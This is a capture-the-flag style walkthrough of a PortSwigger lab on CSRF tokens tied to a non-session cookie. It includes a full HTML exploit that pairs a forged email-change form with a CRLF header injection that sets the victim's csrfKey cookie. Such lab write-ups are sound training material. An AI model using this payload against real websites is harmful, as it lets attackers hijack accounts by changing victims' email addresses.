14.9 Lab: CSRF where token is tied to non-session cookie

4 months ago 43
BOOK THIS SPACE FOR AD
ARTICLE AD

This lab’s email change functionality is vulnerable to CSRF. It uses tokens to try to prevent CSRF attacks, but they aren’t fully integrated into the site’s session handling system. To solve the lab, use your exploit server to host an HTML page that uses a CSRF attack to change the viewer’s email address | Karthikeyan Nagaraj

Karthikeyan Nagaraj

This lab’s email change functionality is vulnerable to CSRF. It uses tokens to try to prevent CSRF attacks, but they aren’t fully integrated into the site’s session handling system.

To solve the lab, use your exploit server to host an HTML page that uses a CSRF attack to change the viewer’s email address.

You have two accounts on the application that you can use to help design your attack. The credentials are as follows:

wiener:petercarlos:montoyaOpen Burp’s browser and log in to your account. Submit the “Update email” form, and find the resulting request in your Proxy history.Send the request to Burp Repeater.Open a private/incognito browser window, log in to your other account(carlos), right click and choose view page source, find the csrf token and take note of it.Click f12 or inspect option, navigate to storage, cookies and take note of csrf key.Create and host a proof of concept exploit as described in the solution to the CSRF vulnerability with no defenses lab, ensuring that you include your CSRF token. The exploit should be created from the email change request.Remove the auto-submit <script> block, and instead add the following code to inject the cookie:
<img src="https://YOUR-LAB-ID.web-security-academy.net/?search=test%0d%0aSet-Cookie:%20csrfKey=YOUR-KEY%3b%20SameSite=None" onerror="document.forms[0].submit()">Change the email address in your exploit so that it doesn’t match your own.The final code should look like the below<html>
<body>
<form action="https://YOUR-LAB-ID.web-security-academy.net/my-account/change-email" method="POST">
<input type="hidden" name="email" value="test&#64;test&#46;com" />
<input type="hidden" name="csrf" value="CARLOS-CSRF-TOKEN-FETCHED-FROM-PAGE-SOURCE" />
<input type="submit" value="Submit request" />
</form>
<img src="https://YOUR-LAB-ID.web-security-academy.net/?search=test%0d%0aSet-Cookie:%20csrfKey=CARLOS-CSRF-KEY%3b%20SameSite=None" onerror="document.forms[0].submit()">
</body>
</html>

9. Store the exploit, then click “Deliver to victim” to solve the lab.

Read Entire Article